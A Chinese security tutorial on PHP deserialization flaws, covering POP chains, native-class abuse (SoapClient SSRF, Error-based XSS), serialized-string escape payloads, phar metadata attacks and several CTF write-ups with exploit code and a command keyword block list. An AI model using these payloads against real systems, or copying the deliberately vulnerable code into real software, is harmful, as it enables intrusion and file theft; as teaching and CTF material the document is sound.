freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PHP反序列化漏洞详解
2021-02-18 16:37:40

PHP反序列化

因笔者水平有限,若某处有误,还请斧正。

一、基础

为方便存储、转移对象,将对象转化为字符串的操作叫做序列化;将对象转化的字符串恢复成对象的过程叫做反序列化。

php中的序列化与反序列化函数分别为:serialize()、unserialize()

<?php
class azhe{
	public $iq = '200';
	public $eq = 300;
	private $pr = "4ut15m";		//private与protected属性的序列化结果存在不可见字符
	function func(){
		echo "function\n";
	}
}

$a = new azhe();
echo "serialize  ->  " . serialize($a)."\n";
?>
//运行结果
serialize  ->  O:4:"azhe":3:{s:2:"iq";s:3:"200";s:2:"eq";i:300;s:8:"azhepr";s:6:"4ut15m";}
将结果进行url编码如下
O%3A4%3A%22azhe%22%3A3%3A%7Bs%3A2%3A%22iq%22%3Bs%3A3%3A%22200%22%3Bs%3A2%3A%22eq%22%3Bi%3A300%3Bs%3A8%3A%22%00azhe%00pr%22%3Bs%3A6%3A%224ut15m%22%3B%7D

序列化后的结果可分为几类

类型:d			->d代表一个整型数字
O:d	->	对象		->d代表该对象类型的长度,例如上述的azhe类对象长度为4,原生类对象Error长度为5
a:d	->	数组		->d代表数组内部元素数量,例如array('a'=>'b','x'=>1)有两个元素
s:d	->	字符串		-dN代表字符串长度,例如abc序列化后为s:3:"abc";
i:d	->	整型		->d代表整型变量的值,例如300序列化后的值则为i:300;

a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

php的session存储的也是序列化后的结果

image-20201203150820032.png

二、序列化引擎

php对session的处理有三种引擎分别为php、php_serialize、php_binary.经过这三者处理后的session结构都不相同。

php_serialize	->与serialize函数序列化后的结果一致
php				->key|serialize后的结果
php_binary		->键名的长度对应的ascii字符+键名+serialize()函数序列化的值

默认使用php引擎

使用php引擎的结果见上图

使用php_serialize引擎的结果如下

image-20201203151424144.png

使用php_binary引擎的结果如下

image-20201203151730170.png

其中存在不可见字符,将结果进行URL编码如下

image-20201203151632906.png

在session文件可写的情况下,可手动写入我们想要的内容,例如

<?php
ini_set('open_basedir','/var/www/html');
session_save_path('/var/www/html');
session_start();
highlight_file(__FILE__);
include "flag.php";

$banner = "--4ut15m--\n";

if($_SESSION['name']==='admin'){
    echo $flag."<br>";
}else if(isset($_GET['name']) && isset($_GET['content'])){
        if(preg_match('/ph/i',$_GET['name'])){
                var_dump($_GET['name']);
            die('over');
        }else file_put_contents('/var/www/html/'.$_GET['name'],$banner . $_GET['content']);
}
?>

该题目中可任意文件写,故写入session文件构造name=admin.payload=|s:3:"xxx";name|s:5:"admin";

image-20201203160827416.png

简单说一下payload.

banner和payload拼接在一起后变为--4ut15m--\n|s:3:"xxx";name|s:5:"admin";经php序列化引擎反序列化后就成为了

$_SESSION=['--4ut15m--\n' => 'xxx', 'name' => 'admin']

三、魔术方法

满足一定条件自动调用的方法即为魔术方法,常见魔术方法及触发条件如下

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
<?php

class Superman{
	public $id = 1;
	public $name = "4ut15m";

	function __construct(){
		echo "正在实例化Superman类,这是__construct的echo\n";
	}
	function __destruct(){
		echo "正在销毁Superman对象,这是__destruct的echo\n";
	}
	function __get($key){
		echo "你想访问{$key}属性,但是Superman没有这个属性,这是__get的echo\n";
	}
	function __call($key,$value){
		echo "你想调用{$key}方法,但是Superman没有这个方法,这是__call的echo\n";
	}
}

$superman = new Superman();
$superman->ed;
$superman->eval();
?>
//运行结果
正在实例化Superman类,这是__construct的echo
你想访问ed属性,但是Superman没有这个属性,这是__get的echo
你想调用eval方法,但是Superman没有这个方法,这是__call的echo
正在销毁Superman对象,这是__destruct的echo

四、反序列化漏洞

当程序中存在反序列化可控点时,造成该漏洞,可通过程序中存在的类和php原生类构造pop链达成攻击。

<?php

highlight_file(__FILE__);
class hit{
    public $file = "";
    
    function __construct(){
        $this->file = "index.php";
    }
    function __destruct(){
        echo file_get_contents($this->file);
    }
}

unserialize($_GET['file']);
?>

image-20201203165333534.png

又例如

<?php
highlight_file(__FILE__);

class hit{
    public $name = "";
    
    function __construct(){
        $this->name = "4ut15m";
    }
    function __destruct(){
        echo $this->name;
    }
}

class wow{
    public $wuhusihai = "";

    function __construct(){
        $this->wuhusihai = "wuwuwu";
    }
    function __toString(){
        $this->wuhusihai->b();
        return "ok";
    }
}

class fine{
    public $code = "";

    function __call($key,$value){
        @eval($this->code);
    }
}

unserialize($_GET['payload']);
?>

pop链为hit->__destruct() ----> wow->__toString() ----> fine->__call(),构造payload

image-20201203170818126.png

image-20201203171003157.png

4.1 原生类利用

l3m0n文章

原生类即是php内置类,查看拥有所需魔术方法的类如下

<?php

$classes = get_declared_classes();	//获取所有已定义类
foreach($classes as $class){
    $methods = get_class_methods($class);		//获取当前类所拥有的方法
	foreach($methods as $methdo){
        if(in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'			//调用var_export导出类时被调用
        ))){
            print "$class::$method";
        }
    }
}
?>

结果如下

Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Generator::__wakeup
DateTime::__wakeup
DateTime::__set_state
DateTimeImmutable::__wakeup
DateTimeImmutable::__set_state
DateTimeZone::__wakeup
DateTimeZone::__set_state
DateInterval::__wakeup
DateInterval::__set_state
DatePeriod::__wakeup
DatePeriod::__set_state
LogicException::__wakeup
LogicException::__toString
BadFunctionCallException::__wakeup
BadFunctionCallException::__toString
BadMethodCallException::__wakeup
BadMethodCallException::__toString
DomainException::__wakeup
DomainException::__toString
InvalidArgumentException::__wakeup
InvalidArgumentException::__toString
LengthException::__wakeup
LengthException::__toString
OutOfRangeException::__wakeup
OutOfRangeException::__toString
RuntimeException::__wakeup
RuntimeException::__toString
OutOfBoundsException::__wakeup
OutOfBoundsException::__toString
OverflowException::__wakeup
OverflowException::__toString
RangeException::__wakeup
RangeException::__toString
UnderflowException::__wakeup
UnderflowException::__toString
UnexpectedValueException::__wakeup
UnexpectedValueException::__toString
CachingIterator::__toString
RecursiveCachingIterator::__toString
SplFileInfo::__toString
DirectoryIterator::__toString
FilesystemIterator::__toString
RecursiveDirectoryIterator::__toString
GlobIterator::__toString
SplFileObject::__toString
SplTempFileObject::__toString
SplFixedArray::__wakeup
ReflectionException::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionExtension::__toString
ReflectionZendExtension::__toString
DOMException::__wakeup
DOMException::__toString
PDOException::__wakeup
PDOException::__toString
PDO::__wakeup
PDOStatement::__wakeup
SimpleXMLElement::__toString
SimpleXMLIterator::__toString
PharException::__wakeup
PharException::__toString
Phar::__destruct
Phar::__toString
PharData::__destruct
PharData::__toString
PharFileInfo::__destruct
PharFileInfo::__toString
CURLFile::__wakeup
mysqli_sql_exception::__wakeup
mysqli_sql_exception::__toString
SoapClient::__call
SoapFault::__toString
SoapFault::__wakeup 

Error

image-20201214152136459.png

将Error对象以字符串输出时会触发__toString,构造message可xss

image-20201214152517793.png

异常类大多都可以如此利用

SoapClient

__call方法可用

<?php

$a = new SoapClient(null,array('uri'=>'http://vps:port','location'=>'http://vps:port/'));
#echo serialize($a);
$a->azhe();
//还可以设置user_agent,user_agent处可通过CRLF注入恶意请求头
?>

image-20201218162513078.png

4.2 反序列化字符逃逸

序列化字符串内容可控情况下,若服务端存在替换序列化字符串中敏感字符操作,则可能造成反序列化字符逃逸。

序列化字符串字符增加

<?php
highlight_file(__FILE__);
include 'flag.php';

class Taoyi{
    public $name="";
    public $id="id";

}
function filter($string){
    return preg_replace('/QAQ/','wuwu',$string);
     
}

$name = $_GET['name'];
$taoyi = new Taoyi();
$taoyi->id = "100";
$taoyi->name = $name;
$haha = filter(serialize($taoyi));
echo "haha  --> {$haha} <br>";
@$haha = unserialize($haha);

if($haha->id === '3333'){
    echo $flag;
}
?>

$taoyi->id被限定为100,但是$taoyi->name可控并且$taoyi对象被序列化后会经过filter函数处理,将敏感词QAQ替换为wuwu,而我们需要使最后的$haha->id='3333'.

正常传值name=4ut15m,结果为O:5:"Taoyi":2:{s:4:"name";s:6:"4ut15m";s:2:"id";s:3:"100";}
传递包含敏感词的值name=4ut15mQAQ,结果为O:5:"Taoyi":2:{s:4:"name";s:9:"4ut15mwuwu";s:2:"id";s:3:"100";}
可以看见s:4:"name";s:9:"4ut15mwuwu";这里4ut15mwuwu的长度为10,和前面的s:9对不上,所以会反序列化失败。

这里构造一个payload去闭合双引号,name=4ut15mQAQ",结果为O:5:"Taoyi":2:{s:4:"name";s:10:"4ut15mwuwu"";s:2:"id";s:3:"100";}
可以看见s:10:"4ut15mwuwu"";其中s:10所对应的字符串为4ut15mwuwu,也即是我们输入的双引号闭合了前面的双引号,而序列化自带的双引号则成为了多余的双引号。

我们每输入一个敏感字符串都可以逃逸一个字符(上面输入了一个QAQ,所以可以逃逸出一个双引号去闭合前面的双引号)。

故我们可以通过构造payload使得我们能够控制id的值,达到对象逃逸的效果。
如下图

image-20201204103126385.png

payload为name=4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:4:"3333";}

payload构造思路
先明确需要逃逸的字符串及其长度,在此即为";s:2:"id";s:4:"3333";}长度为23,需要逃逸23个字符,所以加入23个QAQ即可满足条件.

序列化字符串字符减少

<?php
highlight_file(__FILE__);
include 'flag.php';

class Taoyi{
    public $name="";
    public $id="id";
    public $xixi="";
}

function filter($string){
    return preg_replace('/wuwu/','QAQ',$string);     
}

$name = $_GET['name'];
$xixi = $_GET['xixi'];
$taoyi = new Taoyi();
$taoyi->id = "100";
$taoyi->xixi = $xixi;
$taoyi->name = $name;
$haha = filter(serialize($taoyi));
echo "haha  --> {$haha} <br>";
@$haha = unserialize($haha);
if($haha->id === '3333'){
    echo $flag;
}

?>

序列化字符串减少的情况,需要序列化字符串有至少两处可控点.这里是将敏感词wuwu替换为QAQ。

正常传值name=4ut15m&xixi=1234,结果为O:5:"Taoyi":3:{s:4:"name";s:6:"4ut15m";s:2:"id";s:3:"100";s:4:"xixi";s:4:"1234";}
第一个可控点name作为逃逸点,第二个可控点xixi作为逃逸对象所在点.
因为需要逃逸的属性id在xixi的前面,故需要通过在name处构造payload将属性id对应的字符串吞没.
测试传值name=4ut15mwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwu&xixi=1234
结果为O:5:"Taoyi":3:{s:4:"name";s:82:"4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:3:"100";s:4:"xixi";s:4:"1234";}
可以看到替换后s:82对应的字符串为4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:3:"100
故替换后只剩两个属性name与xixi.同样的道理可以用在属性xixi上,如果不吞没属性xixi,那么在xixi处传递的数据会作为xixi的值,仍旧无法达到效果。
只要将id与xixi都吞没,就可以在xixi处传递参数重新构造这两个属性值。
如下

image-20201204111022672.png

payload为name=4ut15mwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwu&xixi=";s:2:"id";s:4:"3333";s:4:"xixi";s:1:"x";}

payload构造思路
先明确需要逃逸的字符串,";s:2:"id";s:4:"3333";s:4:"xixi";s:1:"x";},再确认逃逸字符串字符串之前需要吞没的字符串的长度,在此为";s:2:"id";s:3:"100";s:4:"xixi";s:42:" 长度为38
每一个wuwu可以吞没一个字符,所以需要38个wuwu去吞没这个字符串。

4.3 PHAR协议利用

phar文件是php的打包文件,在php.ini中可以通过设置phar.readonly来控制phar文件是否为只读,若非只读(phar.readonly=Off)则可以生成phar文件.

image-20201207140100560.png

phar文件结构

四部分,stub、manifest、contents、signature

1.stub
phar文件标志,必须包含<?php __HALT_COMPILER(); ?>,PHP结束标志?>可以省略,但语句结束符;与stub的结尾之间不能超过两个空格。在生成phar之前应先添加stub.<?php __HALT_COMPILER(); ?>之前也可添加其他内容伪造成其他文件,比如GIF89a<?php __HALT_COMPILER(); ?>

2.manifest
存放phar归档信息.Manifest结构如下图

所有未使用的标志保留,供将来使用,并且不得用于存储自定义信息。使用每个文件的元数据功能来存储有关特定文件的自定义信息.

image-20201207142905752.png

phar反序列化触发函数

php中的大部分与文件操作相关函数在通过phar协议获取数据时会将phar文件的meta-data部分反序列化

fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile

生成phar文件例子如下

<?php

class pharfile{
	public $name="4ut15m";
}

$phar = new Phar("4ut15m.phar");		
$phar->startBuffering();										//开启缓冲区
$phar->setStub("<?php __HALT_COMPILER(); ?>");					//设置stub
$test = new pharfile();
$phar->setMetadata($test);										//设置metadata,这一部分数据会被序列化
$phar->addFromString("azhe.txt",'test');						//添加压缩文件

$phar->stopBuffering();											//关闭缓冲区

?>

image-20201207150309783.png

4.4 PHP引用

&在php中是位运算符也是引用符(&&为逻辑运算符).&可以使不同名变量指向同一个值,类似于C中的地址。

image-20201214194911842.png

image-20201214195353291.png

倘若出现下述情况,即可使用引用符

<?php
include "flag.php";
highlight_file(__FILE__);

class FLAG{
    public $one;
    public $two;

    public function __wakeup(){
        $this->one = "azhe";
    }
}

$a = @unserialize($_GET['payload']);
$a->two = $flag;

if($a->one === $a->two){
    echo "flag is here:$flag";
}
?>

image-20201214200551279.png

这里的__wakeup是不需要绕过的,$a->one引用了$a->two后这两者的值一定会相等,不管谁做了改变。

序列化结果中的R:2;即是引用.

五、BUGKU

安慰奖

算是反序列化入门题吧

index.php中发现提示

image-20201214155509815.png

下载备份文件index.php.bak,审计

<?php

header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
    protected $username = 'hack';
    protected $cmd = 'NULL';
    public function __construct($username,$cmd)
    {
        $this->username = $username;
        $this->cmd = $cmd;
    }
    function __wakeup()
    {
        $this->username = 'guest';
    }

    function __destruct()
    {
        if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
        {
            exit('</br>flag能让你这么容易拿到吗?<br>');
        }
        if ($this->username === 'admin')
        {
           // echo "<br>right!<br>";
            $a = `$this->cmd`;
            var_dump($a);
        }else
        {
            echo "</br>给你个安慰奖吧,hhh!</br>";
            die();
        }
    }
}
    $select = $_GET['code'];
    $res=unserialize(@$select);
?>

直接编写exp
image-20201217173605047.png

禁用了一些文件读取命令,曲线救国如下

image-20201217173810194.png

六、BUUCTF

ZJCTF 2019 NiZhuanSiWei

源码

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}![image-20201204165807234.png](https://image.3001.net/images/20210218/1613636557_602e23cd4fca4536c1e47.png!small)
?> 
//考点: 基本的反序列化漏洞,php伪协议的利用

第一层if通过php://input满足,file通过php://filter读取useless.php

image-20201204165520066.png

//useless.php
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

payload构造

创建一个Flag对象,使得该对象的file属性为flag.php
提交序列化字符串即可

image-20201204165807234.png

image-20201204165925994.png

MRCTF2020 Ezpop

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 
//考点: 基本的序列化pop链构造

payload构造

思路:1.需要将Modifier的对象当作函数调用 2.需要将Show的对象当作字符串处理 3.需要调用Test对象中不存在的属性
preg_match是处理字符串的,当使得一个Show1->source为Show2对象时,可调用Show2的__toString.而该魔术方法调用$this->str->source,若使得该对象的source为Test对象,则可触发Test对象的__get方法,在Test对象的__get方法中又可构造使得将一个Modifier类当作函数调用,触发__invoke.

payload如下

image-20201204173628765.png

image-20201204173743279.png

CISCN2019 Day1 Web1 Dropbox

注册账号登录后,在下载功能处发现任意文件下载,扒取源码如下

//index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
</head>

<body>
    <nav aria-label="breadcrumb">
    <ol class="breadcrumb">
        <li class="breadcrumb-item active">管理面板</li>
        <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
        <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
//login.php
<?php
session_start();
if (isset($_SESSION['login'])) {
    header("Location: index.php");
    die();
}
?>

<!doctype html>

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="">
  <title>登录</title>

  <!-- Bootstrap core CSS -->
  <link href="static/css/bootstrap.min.css" rel="stylesheet">


  <style>
    .bd-placeholder-img {
      font-size: 1.125rem;
      text-anchor: middle;
    }

    @media (min-width: 768px) {
      .bd-placeholder-img-lg {
        font-size: 3.5rem;
      }
    }
  </style>
  <!-- Custom styles for this template -->
  <link href="static/css/std.css" rel="stylesheet">
</head>

<body class="text-center">
  <form class="form-signin" action="login.php" method="POST">
    <h1 class="h3 mb-3 font-weight-normal">登录</h1>
    <label for="username" class="sr-only">Username</label>
    <input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
    <label for="password" class="sr-only">Password</label>
    <input type="password" name="password" class="form-control" placeholder="Password" required>
    <button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
    <p class="mt-5 text-muted">还没有账号? <a href="register.php">注册</a></p>
    <p class="text-muted">© 2018-2019</p>
  </form>
  <div class="top" id="toast-container"></div>
</body>

<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
</html>


<?php
include "class.php";

if (isset($_GET['register'])) {
    echo "<script>toast('注册成功', 'info');</script>";
}

if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && $u->verify_user($username, $password)) {
        $_SESSION['login'] = true;
        $_SESSION['username'] = htmlentities($username);
        $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
        if (!is_dir($sandbox)) {
            mkdir($sandbox);
        }
        $_SESSION['sandbox'] = $sandbox;
        echo("<script>window.location.href='index.php';</script>");
        die();
    }
    echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>
//download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>
//delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>
//upload.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

include "class.php";

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $pos = strrpos($filename, ".");
    if ($pos !== false) {
        $filename = substr($filename, 0, $pos);
    }
    
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        case 'image/png':
            $fileext = ".png";
            break;
        default:
            $response = array("success" => false, "error" => "Only gif/jpg/png allowed");
            Header("Content-type: application/json");
            echo json_encode($response);
            die();
    }

    if (strlen($filename) < 40 && strlen($filename) !== 0) {
        $dst = $_SESSION['sandbox'] . $filename . $fileext;
        move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
        $response = array("success" => true, "error" => "");
        Header("Content-type: application/json");
        echo json_encode($response);
    } else {
        $response = array("success" => false, "error" => "Invaild filename");
        Header("Content-type: application/json");
        echo json_encode($response);
    }
}
?>
//class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>  

先分析类文件,User类存在__destruct魔术方法,并且在其中调用$this->db->close(),再一看File类,刚好有close方法,但是User的__destruct中并未输出结果。再看FileList类,其中存在__call__destruct.__call方法首先将调用的不存在函数$func放至FileList->funcs数组尾部,而后遍历FileList->files并且调用FileList->files->$func(),执行结果会被赋值给FileList->result.FileList->__destruct方法输出result的结果。

很常规,该题POP链很好构造。User->__destruct --> FileList->__call --> File->close() --> FileList->__destruct

在delete.php中找到程序反序列化触发点

image-20201219144333372.png

跟进detele方法

image-20201219144358048.png

unlink是个文件操作函数,可以通过phar协议进行反序列化。程序可以上传图片,故生成phar文件修改后缀上传,在删除功能处触发反序列化即可(经测试,flag文件为/flag.txt)。

exp如下

<?php

class User{
	public $db;
	public function __construct(){
		$this->db = new FileList();
	}
}

class FileList{
	private $files;
	private $results;
	private $funcs;

	public function __construct(){
		$this->files = array(new File());
		$this->results;
		$this->funcs;
	}
}

class File{
	public $filename = "../../../../../../flag.txt";
}

$a = new User();
$phar = new Phar('4ut15m.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString('azhe.txt','4ut15m');

$phar->stopBuffering();

?>

image-20201219144749745.png

网鼎杯 2020 青龙组 AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
//考点: php弱类型语言==判断漏洞,基本的反序列化漏洞,序列化过程对protect、private属性的处理

程序只允许使用ascii码在32-125范围内的字符,满足条件就反序列化。

process方法中规定,当op=="2"时可以读取$filename文件,op=="1"时可以写入文件.

析构函数中规定,当op==="2"时使得op="1".

综上可知,当使得op !=="2"但op =="2"时,可以读取文件。构造op=2可满足条件

image-20201204163638719.png

payload构造

因为要读取flag.php,所以使得filename='flag.php';因为要执行读取操作,所以使得op=2
